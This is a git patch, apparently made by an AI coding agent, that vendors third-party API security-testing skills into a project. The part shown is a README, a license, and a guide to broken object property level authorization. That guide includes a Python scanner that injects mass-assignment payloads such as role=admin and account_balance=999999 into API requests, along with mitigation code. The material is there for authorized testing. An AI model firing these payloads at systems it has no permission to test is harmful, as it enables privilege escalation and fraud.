From c5924cc009ca5d4afb160f4d68e853574c43c7da Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 8 Oct 2026 16:31:25 +0000 Subject: [PATCH] =?UTF-8?q?Ajoute=2016=20skills=20de=20s=C3=A9curit=C3=A9?= =?UTF-8?q?=20(s=C3=A9lection=20web/API)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Tirés de mukul975/anthropic-cybersecurity-skills (commit 54a7988, Apache-2.0) : contrôle d'accès/IDOR, en-têtes et CSP, CORS, OAuth, JWT, XSS, fonctions serverless, rate limiting, paquets npm, gitleaks, RGPD, OWASP API Top 10. Les 800 autres (offensifs, Windows/AD, forensique…) sont laissés de côté. Voir .claude/skills/README.md. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01YVo1qxKoBQCaMd7Ue8PGbe --- .claude/skills/README.md | 13 + .../LICENSE | 201 +++++++ .../SKILL.md | 412 +++++++++++++ .../references/api-reference.md | 76 +++ .../scripts/agent.py | 159 +++++ .../detecting-malicious-npm-packages/LICENSE | 201 +++++++ .../detecting-malicious-npm-packages/SKILL.md | 199 +++++++ .../references/api-reference.md | 54 ++ .../references/standards.md | 23 + .../scripts/agent.py | 171 ++++++ .../LICENSE | 201 +++++++ .../SKILL.md | 176 ++++++ .../references/api-reference.md | 110 ++++ .../scripts/agent.py | 555 ++++++++++++++++++ .../LICENSE | 201 +++++++ .../SKILL.md | 481 +++++++++++++++ .../references/api-reference.md | 65 ++ .../scripts/agent.py | 165 ++++++ .../LICENSE | 201 +++++++ .../SKILL.md | 194 ++++++ .../assets/template.md | 140 +++++ .../references/api-reference.md | 61 ++ .../references/standards.md | 108 ++++ .../references/workflows.md | 288 +++++++++ .../scripts/agent.py | 234 ++++++++ .../scripts/process.py | 535 +++++++++++++++++ .../LICENSE | 201 +++++++ .../SKILL.md | 345 +++++++++++ .../assets/template.md | 175 ++++++ .../references/api-reference.md | 180 ++++++ .../references/standards.md | 54 ++ .../references/workflows.md | 92 +++ .../scripts/agent.py | 215 +++++++ .../scripts/process.py | 299 ++++++++++ .../performing-security-headers-audit/LICENSE | 201 +++++++ .../SKILL.md | 325 ++++++++++ .../references/api-reference.md | 44 ++ .../scripts/agent.py | 276 +++++++++ .../LICENSE | 201 +++++++ .../SKILL.md | 306 ++++++++++ .../references/api-reference.md | 72 +++ .../scripts/agent.py | 153 +++++ .../securing-serverless-functions/LICENSE | 201 +++++++ .../securing-serverless-functions/SKILL.md | 329 +++++++++++ .../references/api-reference.md | 56 ++ .../scripts/agent.py | 171 ++++++ .../LICENSE | 201 +++++++ .../SKILL.md | 392 +++++++++++++ .../references/api-reference.md | 54 ++ .../scripts/agent.py | 198 +++++++ .../LICENSE | 201 +++++++ .../SKILL.md | 355 +++++++++++ .../references/api-reference.md | 54 ++ .../scripts/agent.py | 223 +++++++ .../testing-cors-misconfiguration/LICENSE | 201 +++++++ .../testing-cors-misconfiguration/SKILL.md | 349 +++++++++++ .../references/api-reference.md | 50 ++ .../scripts/agent.py | 206 +++++++ .../testing-for-broken-access-control/LICENSE | 201 +++++++ .../SKILL.md | 369 ++++++++++++ .../references/api-reference.md | 60 ++ .../scripts/agent.py | 195 ++++++ .../testing-for-xss-vulnerabilities/LICENSE | 201 +++++++ .../testing-for-xss-vulnerabilities/SKILL.md | 201 +++++++ .../references/api-reference.md | 53 ++ .../scripts/agent.py | 206 +++++++ .../skills/testing-jwt-token-security/LICENSE | 201 +++++++ .../testing-jwt-token-security/SKILL.md | 354 +++++++++++ .../references/api-reference.md | 68 +++ .../scripts/agent.py | 237 ++++++++ .../LICENSE | 201 +++++++ .../SKILL.md | 405 +++++++++++++ .../references/api-reference.md | 50 ++ .../scripts/agent.py | 197 +++++++ 74 files changed, 14803 insertions(+) create mode 100644 .claude/skills/README.md create mode 100644 .claude/skills/detecting-broken-object-property-level-authorization/LICENSE create mode 100644 .claude/skills/detecting-broken-object-property-level-authorization/SKILL.md create mode 100644 .claude/skills/detecting-broken-object-property-level-authorization/references/api-reference.md create mode 100644 .claude/skills/detecting-broken-object-property-level-authorization/scripts/agent.py create mode 100644 .claude/skills/detecting-malicious-npm-packages/LICENSE create mode 100644 .claude/skills/detecting-malicious-npm-packages/SKILL.md create mode 100644 .claude/skills/detecting-malicious-npm-packages/references/api-reference.md create mode 100644 .claude/skills/detecting-malicious-npm-packages/references/standards.md create mode 100644 .claude/skills/detecting-malicious-npm-packages/scripts/agent.py create mode 100644 .claude/skills/detecting-typosquatting-packages-in-npm-pypi/LICENSE create mode 100644 .claude/skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md create mode 100644 .claude/skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md create mode 100644 .claude/skills/detecting-typosquatting-packages-in-npm-pypi/scripts/agent.py create mode 100644 .claude/skills/implementing-api-rate-limiting-and-throttling/LICENSE create mode 100644 .claude/skills/implementing-api-rate-limiting-and-throttling/SKILL.md create mode 100644 .claude/skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md create mode 100644 .claude/skills/implementing-api-rate-limiting-and-throttling/scripts/agent.py create mode 100644 .claude/skills/implementing-gdpr-data-protection-controls/LICENSE create mode 100644 .claude/skills/implementing-gdpr-data-protection-controls/SKILL.md create mode 100644 .claude/skills/implementing-gdpr-data-protection-controls/assets/template.md create mode 100644 .claude/skills/implementing-gdpr-data-protection-controls/references/api-reference.md create mode 100644 .claude/skills/implementing-gdpr-data-protection-controls/references/standards.md create mode 100644 .claude/skills/implementing-gdpr-data-protection-controls/references/workflows.md create mode 100644 .claude/skills/implementing-gdpr-data-protection-controls/scripts/agent.py create mode 100644 .claude/skills/implementing-gdpr-data-protection-controls/scripts/process.py create mode 100644 .claude/skills/implementing-secret-scanning-with-gitleaks/LICENSE create mode 100644 .claude/skills/implementing-secret-scanning-with-gitleaks/SKILL.md create mode 100644 .claude/skills/implementing-secret-scanning-with-gitleaks/assets/template.md create mode 100644 .claude/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md create mode 100644 .claude/skills/implementing-secret-scanning-with-gitleaks/references/standards.md create mode 100644 .claude/skills/implementing-secret-scanning-with-gitleaks/references/workflows.md create mode 100644 .claude/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py create mode 100644 .claude/skills/implementing-secret-scanning-with-gitleaks/scripts/process.py create mode 100644 .claude/skills/performing-security-headers-audit/LICENSE create mode 100644 .claude/skills/performing-security-headers-audit/SKILL.md create mode 100644 .claude/skills/performing-security-headers-audit/references/api-reference.md create mode 100644 .claude/skills/performing-security-headers-audit/scripts/agent.py create mode 100644 .claude/skills/performing-serverless-function-security-review/LICENSE create mode 100644 .claude/skills/performing-serverless-function-security-review/SKILL.md create mode 100644 .claude/skills/performing-serverless-function-security-review/references/api-reference.md create mode 100644 .claude/skills/performing-serverless-function-security-review/scripts/agent.py create mode 100644 .claude/skills/securing-serverless-functions/LICENSE create mode 100644 .claude/skills/securing-serverless-functions/SKILL.md create mode 100644 .claude/skills/securing-serverless-functions/references/api-reference.md create mode 100644 .claude/skills/securing-serverless-functions/scripts/agent.py create mode 100644 .claude/skills/testing-api-for-broken-object-level-authorization/LICENSE create mode 100644 .claude/skills/testing-api-for-broken-object-level-authorization/SKILL.md create mode 100644 .claude/skills/testing-api-for-broken-object-level-authorization/references/api-reference.md create mode 100644 .claude/skills/testing-api-for-broken-object-level-authorization/scripts/agent.py create mode 100644 .claude/skills/testing-api-security-with-owasp-top-10/LICENSE create mode 100644 .claude/skills/testing-api-security-with-owasp-top-10/SKILL.md create mode 100644 .claude/skills/testing-api-security-with-owasp-top-10/references/api-reference.md create mode 100644 .claude/skills/testing-api-security-with-owasp-top-10/scripts/agent.py create mode 100644 .claude/skills/testing-cors-misconfiguration/LICENSE create mode 100644 .claude/skills/testing-cors-misconfiguration/SKILL.md create mode 100644 .claude/skills/testing-cors-misconfiguration/references/api-reference.md create mode 100644 .claude/skills/testing-cors-misconfiguration/scripts/agent.py create mode 100644 .claude/skills/testing-for-broken-access-control/LICENSE create mode 100644 .claude/skills/testing-for-broken-access-control/SKILL.md create mode 100644 .claude/skills/testing-for-broken-access-control/references/api-reference.md create mode 100644 .claude/skills/testing-for-broken-access-control/scripts/agent.py create mode 100644 .claude/skills/testing-for-xss-vulnerabilities/LICENSE create mode 100644 .claude/skills/testing-for-xss-vulnerabilities/SKILL.md create mode 100644 .claude/skills/testing-for-xss-vulnerabilities/references/api-reference.md create mode 100644 .claude/skills/testing-for-xss-vulnerabilities/scripts/agent.py create mode 100644 .claude/skills/testing-jwt-token-security/LICENSE create mode 100644 .claude/skills/testing-jwt-token-security/SKILL.md create mode 100644 .claude/skills/testing-jwt-token-security/references/api-reference.md create mode 100644 .claude/skills/testing-jwt-token-security/scripts/agent.py create mode 100644 .claude/skills/testing-oauth2-implementation-flaws/LICENSE create mode 100644 .claude/skills/testing-oauth2-implementation-flaws/SKILL.md create mode 100644 .claude/skills/testing-oauth2-implementation-flaws/references/api-reference.md create mode 100644 .claude/skills/testing-oauth2-implementation-flaws/scripts/agent.py diff --git a/.claude/skills/README.md b/.claude/skills/README.md new file mode 100644 index 0000000..55209a3 --- /dev/null +++ b/.claude/skills/README.md @@ -0,0 +1,13 @@ +# Skills de sécurité (tiers) + +Sélection de 16 skills défensifs / de test tirés de +[mukul975/anthropic-cybersecurity-skills](https://github.com/mukul975/anthropic-cybersecurity-skills) +(commit `54a7988`, licence Apache-2.0 — fichier `LICENSE` dans chaque dossier). +Projet communautaire, non affilié à Anthropic. + +Retenus pour AzuuCine : contrôle d'accès / IDOR (≈ RLS Supabase), en-têtes et CSP, CORS, +OAuth/PKCE, JWT, XSS, Edge Functions (serverless), limitation de débit, dépendances npm, +secrets (gitleaks), RGPD, OWASP API Top 10. + +Les scripts `scripts/*.py` envoient des requêtes de test : ne les lancer que contre +AzuuCine (ou une copie locale), jamais contre un site tiers. diff --git a/.claude/skills/detecting-broken-object-property-level-authorization/LICENSE b/.claude/skills/detecting-broken-object-property-level-authorization/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/detecting-broken-object-property-level-authorization/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/detecting-broken-object-property-level-authorization/SKILL.md b/.claude/skills/detecting-broken-object-property-level-authorization/SKILL.md new file mode 100644 index 0000000..f921d0b --- /dev/null +++ b/.claude/skills/detecting-broken-object-property-level-authorization/SKILL.md @@ -0,0 +1,412 @@ +--- +name: detecting-broken-object-property-level-authorization +description: Detect and test for OWASP API3:2023 Broken Object Property Level Authorization + (BOPLA), covering excessive data exposure in API responses and mass assignment via + injected request-body properties. Use when reviewing API responses/requests for + over-exposed or over-writable object fields, or building detection rules and test + cases for property-level authorization gaps that object-level checks miss. +domain: cybersecurity +subdomain: api-security +tags: +- api-security +- bopla +- owasp-api3 +- mass-assignment +- excessive-data-exposure +- property-level-authorization +- api-testing +- penetration-testing +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1213 +- T1212 +--- + +# Detecting Broken Object Property Level Authorization + +## Overview + +Broken Object Property Level Authorization (BOPLA), classified as API3:2023 in the OWASP API Security Top 10, combines two related vulnerability classes: Excessive Data Exposure (API returning more data than needed) and Mass Assignment (API accepting more data than intended). Even when APIs enforce object-level authorization correctly, they may fail to control which specific properties of an object a user can read or modify. Attackers exploit this by reading sensitive properties from API responses or injecting additional properties into request bodies to modify fields they should not have access to. + + +## When to Use + +- When investigating security incidents that require detecting broken object property level authorization +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + +## Prerequisites + +- Target API with endpoints that return or accept object data +- API documentation or schema (OpenAPI spec preferred) +- Burp Suite or Postman for API request manipulation +- Multiple user accounts with different privilege levels +- Python 3.8+ with requests library for automated testing +- Authorization to perform security testing + +## Vulnerability Patterns + +### Excessive Data Exposure + +The API returns object properties the client does not need: + +```json +// GET /api/v1/users/123 +// Response includes sensitive fields the UI doesn't display: +{ + "id": 123, + "username": "john_doe", + "email": "john@example.com", + "name": "John Doe", + "ssn": "123-45-6789", // Sensitive - not needed by UI + "salary": 95000, // Sensitive - not needed by UI + "internal_notes": "VIP client", // Internal - should not be exposed + "password_hash": "$2b$12...", // Critical - never expose + "role": "admin", // May enable privilege discovery + "created_by": "system_admin", // Internal metadata + "credit_card_last4": "4242" // PCI compliance violation +} +``` + +### Mass Assignment + +The API binds client-supplied data to internal object properties without filtering: + +```http +// Normal user update request +PUT /api/v1/users/123 +Content-Type: application/json + +{ + "name": "John Updated", + "email": "new@example.com", + "role": "admin", // Attacker-injected: privilege escalation + "is_verified": true, // Attacker-injected: bypass verification + "discount_rate": 100, // Attacker-injected: business logic abuse + "account_balance": 999999 // Attacker-injected: financial fraud +} +``` + +## Testing Methodology + +```python +#!/usr/bin/env python3 +"""BOPLA Vulnerability Scanner + +Tests APIs for Broken Object Property Level Authorization +including Excessive Data Exposure and Mass Assignment. +""" + +import requests +import json +import sys +from typing import Dict, List, Optional, Set +from dataclasses import dataclass, field +from copy import deepcopy + +@dataclass +class BOPLAFinding: + endpoint: str + method: str + vulnerability_type: str # "excessive_exposure" or "mass_assignment" + severity: str + property_name: str + details: str + +class BOPLAScanner: + SENSITIVE_PROPERTY_PATTERNS = { + "critical": [ + "password", "password_hash", "secret", "token", "api_key", + "private_key", "secret_key", "access_token", "refresh_token", + ], + "high": [ + "ssn", "social_security", "tax_id", "credit_card", "card_number", + "cvv", "bank_account", "routing_number", + ], + "medium": [ + "salary", "income", "internal_notes", "admin_notes", + "created_by", "modified_by", "ip_address", "session_id", + "role", "permissions", "is_admin", "is_superuser", "privilege", + ], + "low": [ + "phone", "address", "date_of_birth", "dob", "age", + "gender", "ethnicity", "religion", + ] + } + + MASS_ASSIGNMENT_FIELDS = [ + ("role", "admin"), + ("is_admin", True), + ("is_verified", True), + ("is_active", True), + ("email_verified", True), + ("account_type", "premium"), + ("discount_rate", 100), + ("credit_limit", 999999), + ("permissions", ["admin", "write", "delete"]), + ("account_balance", 999999), + ("subscription_tier", "enterprise"), + ("rate_limit", 999999), + ] + + def __init__(self, base_url: str, auth_headers: Dict[str, str]): + self.base_url = base_url.rstrip('/') + self.auth_headers = auth_headers + self.findings: List[BOPLAFinding] = [] + + def test_excessive_data_exposure(self, endpoint: str, + expected_fields: Set[str]) -> List[BOPLAFinding]: + """Test if API response contains more fields than expected.""" + findings = [] + url = f"{self.base_url}{endpoint}" + + try: + response = requests.get(url, headers=self.auth_headers, timeout=10) + if response.status_code != 200: + return findings + + data = response.json() + + # Handle both single object and list responses + objects = data if isinstance(data, list) else [data] + if isinstance(data, dict) and "data" in data: + objects = data["data"] if isinstance(data["data"], list) else [data["data"]] + + for obj in objects[:5]: # Check first 5 objects + if not isinstance(obj, dict): + continue + + response_fields = set(self._flatten_keys(obj)) + unexpected_fields = response_fields - expected_fields + + for field_name in unexpected_fields: + severity = self._classify_sensitivity(field_name) + if severity: + finding = BOPLAFinding( + endpoint=endpoint, + method="GET", + vulnerability_type="excessive_exposure", + severity=severity, + property_name=field_name, + details=f"Unexpected sensitive field '{field_name}' in response" + ) + findings.append(finding) + self.findings.append(finding) + + except (requests.exceptions.RequestException, json.JSONDecodeError): + pass + + return findings + + def test_mass_assignment(self, endpoint: str, method: str = "PUT", + original_data: Optional[dict] = None) -> List[BOPLAFinding]: + """Test if API accepts and processes additional injected properties.""" + findings = [] + url = f"{self.base_url}{endpoint}" + + # First, get the current object state + if original_data is None: + try: + response = requests.get(url, headers=self.auth_headers, timeout=10) + if response.status_code == 200: + original_data = response.json() + else: + original_data = {} + except (requests.exceptions.RequestException, json.JSONDecodeError): + original_data = {} + + # Test each mass assignment field + for field_name, injected_value in self.MASS_ASSIGNMENT_FIELDS: + if field_name in original_data: + # Field exists - test if we can modify it + original_value = original_data[field_name] + if original_value == injected_value: + continue # Already has this value + + test_data = deepcopy(original_data) + test_data[field_name] = injected_value + + headers = {**self.auth_headers, "Content-Type": "application/json"} + + try: + if method == "PUT": + response = requests.put(url, json=test_data, + headers=headers, timeout=10) + elif method == "PATCH": + response = requests.patch(url, json={field_name: injected_value}, + headers=headers, timeout=10) + elif method == "POST": + response = requests.post(url, json=test_data, + headers=headers, timeout=10) + + if response.status_code in (200, 201, 204): + # Verify the field was actually modified + verify_response = requests.get(url, headers=self.auth_headers, timeout=10) + if verify_response.status_code == 200: + updated_data = verify_response.json() + if updated_data.get(field_name) == injected_value: + finding = BOPLAFinding( + endpoint=endpoint, + method=method, + vulnerability_type="mass_assignment", + severity="CRITICAL" if field_name in ["role", "is_admin", "permissions"] + else "HIGH", + property_name=field_name, + details=f"Successfully injected '{field_name}={injected_value}'" + ) + findings.append(finding) + self.findings.append(finding) + + # Restore original value if possible + if field_name in original_data: + restore_data = {field_name: original_data[field_name]} + requests.patch(url, json=restore_data, + headers=headers, timeout=10) + + except requests.exceptions.RequestException: + continue + + return findings + + def test_graphql_property_exposure(self, graphql_endpoint: str, + query: str) -> List[BOPLAFinding]: + """Test GraphQL APIs for property-level authorization issues.""" + findings = [] + url = f"{self.base_url}{graphql_endpoint}" + + # Introspection query to discover available fields + introspection = """ + { + __schema { + types { + name + fields { + name + type { name kind } + } + } + } + } + """ + + try: + response = requests.post( + url, + json={"query": introspection}, + headers=self.auth_headers, + timeout=10 + ) + + if response.status_code == 200: + data = response.json() + if "errors" not in data: + finding = BOPLAFinding( + endpoint=graphql_endpoint, + method="POST", + vulnerability_type="excessive_exposure", + severity="MEDIUM", + property_name="__schema", + details="GraphQL introspection enabled - full schema exposed" + ) + findings.append(finding) + self.findings.append(finding) + + except requests.exceptions.RequestException: + pass + + return findings + + def _flatten_keys(self, obj: dict, prefix: str = "") -> List[str]: + """Recursively flatten nested dictionary keys.""" + keys = [] + for key, value in obj.items(): + full_key = f"{prefix}.{key}" if prefix else key + keys.append(full_key) + if isinstance(value, dict): + keys.extend(self._flatten_keys(value, full_key)) + return keys + + def _classify_sensitivity(self, field_name: str) -> Optional[str]: + """Classify the sensitivity level of a field name.""" + lower_name = field_name.lower().split('.')[-1] + for severity, patterns in self.SENSITIVE_PROPERTY_PATTERNS.items(): + for pattern in patterns: + if pattern in lower_name: + return severity.upper() + return None + + def generate_report(self) -> dict: + return { + "total_findings": len(self.findings), + "by_type": { + "excessive_exposure": len([f for f in self.findings + if f.vulnerability_type == "excessive_exposure"]), + "mass_assignment": len([f for f in self.findings + if f.vulnerability_type == "mass_assignment"]), + }, + "by_severity": { + "CRITICAL": len([f for f in self.findings if f.severity == "CRITICAL"]), + "HIGH": len([f for f in self.findings if f.severity == "HIGH"]), + "MEDIUM": len([f for f in self.findings if f.severity == "MEDIUM"]), + "LOW": len([f for f in self.findings if f.severity == "LOW"]), + }, + "findings": [ + { + "endpoint": f.endpoint, + "method": f.method, + "type": f.vulnerability_type, + "severity": f.severity, + "property": f.property_name, + "details": f.details, + } + for f in self.findings + ] + } +``` + +## Mitigation + +```python +# Server-side: Explicit property allowlists +class UserSerializer: + # Only expose these fields - never use to_json() or to_dict() + PUBLIC_FIELDS = ['id', 'username', 'name', 'avatar_url'] + OWNER_FIELDS = PUBLIC_FIELDS + ['email', 'phone', 'preferences'] + ADMIN_FIELDS = OWNER_FIELDS + ['role', 'created_at', 'last_login'] + + def serialize(self, user, requesting_user): + if requesting_user.is_admin: + fields = self.ADMIN_FIELDS + elif requesting_user.id == user.id: + fields = self.OWNER_FIELDS + else: + fields = self.PUBLIC_FIELDS + + return {field: getattr(user, field) for field in fields} + +# Mass assignment protection - explicit allowlist for writable fields +WRITABLE_FIELDS = {'name', 'email', 'phone', 'avatar_url', 'preferences'} + +def update_user(user_id, request_data, requesting_user): + # Filter out any fields not in the allowlist + safe_data = {k: v for k, v in request_data.items() if k in WRITABLE_FIELDS} + # Apply updates only with safe data + User.objects.filter(id=user_id).update(**safe_data) +``` + +## References + +- OWASP API3:2023: https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/ +- Salt Security BOPLA Analysis: https://salt.security/blog/api3-2023-broken-object-property-level-authorization +- Wallarm BOPLA Guide: https://lab.wallarm.com/api32023-broken-object-property-level-authorization/ +- API Security News BOPLA: https://apisecurity.io/owasp-api-security-top-10/api3-2023-broken-object-property-level-authorization/ +- CloudDefense BOPLA: https://www.clouddefense.ai/owasp/2023/3 diff --git a/.claude/skills/detecting-broken-object-property-level-authorization/references/api-reference.md b/.claude/skills/detecting-broken-object-property-level-authorization/references/api-reference.md new file mode 100644 index 0000000..0f6d712 --- /dev/null +++ b/.claude/skills/detecting-broken-object-property-level-authorization/references/api-reference.md @@ -0,0 +1,76 @@ +# API Reference: Detecting Broken Object Property Level Authorization + +## OWASP API3:2023 Classification + +| Category | Description | +|----------|-------------| +| Excessive Data Exposure | API returns more properties than client needs | +| Mass Assignment | API accepts more properties than intended | +| CWE-213 | Exposure of Sensitive Information Due to Incompatible Policies | +| CWE-915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes | + +## Python requests Library + +```python +import requests + +# GET - test for excessive exposure +resp = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=10) +resp.status_code # 200, 401, 403 +resp.json() # parsed response body + +# PUT - test for mass assignment +resp = requests.put(url, json={"role": "admin"}, headers=headers, timeout=10) + +# PATCH - test for partial mass assignment +resp = requests.patch(url, json={"is_admin": True}, headers=headers, timeout=10) +``` + +## Sensitive Field Patterns + +| Severity | Fields | +|----------|--------| +| Critical | password, password_hash, secret, token, api_key, private_key | +| High | ssn, credit_card, card_number, cvv, bank_account | +| Medium | salary, role, permissions, is_admin, session_id | +| Low | phone, address, date_of_birth, gender | + +## Mass Assignment Test Payloads + +```json +{"role": "admin"} +{"is_admin": true} +{"is_verified": true} +{"account_type": "premium"} +{"discount_rate": 100} +{"permissions": ["admin", "write", "delete"]} +``` + +## Burp Suite Extensions + +``` +# Autorize - test authorization across roles +# Param Miner - discover hidden parameters +# JSON Beautifier - inspect response properties +``` + +## CLI Usage + +```bash +python agent.py --base-url https://api.example.com \ + --endpoint /api/v1/users/123 \ + --token "eyJhbGciOiJIUzI1NiJ9..." \ + --expected-fields id username name email \ + --test both --method PUT +``` + +## Mitigation Patterns + +```python +# Allowlist serialization (Django REST Framework) +class UserSerializer(serializers.ModelSerializer): + class Meta: + model = User + fields = ['id', 'username', 'name'] # explicit allowlist + read_only_fields = ['id', 'role', 'is_admin'] +``` diff --git a/.claude/skills/detecting-broken-object-property-level-authorization/scripts/agent.py b/.claude/skills/detecting-broken-object-property-level-authorization/scripts/agent.py new file mode 100644 index 0000000..281f526 --- /dev/null +++ b/.claude/skills/detecting-broken-object-property-level-authorization/scripts/agent.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +"""BOPLA vulnerability scanner for OWASP API3:2023 Broken Object Property Level Authorization. + +Tests APIs for excessive data exposure and mass assignment vulnerabilities +by comparing responses against expected field 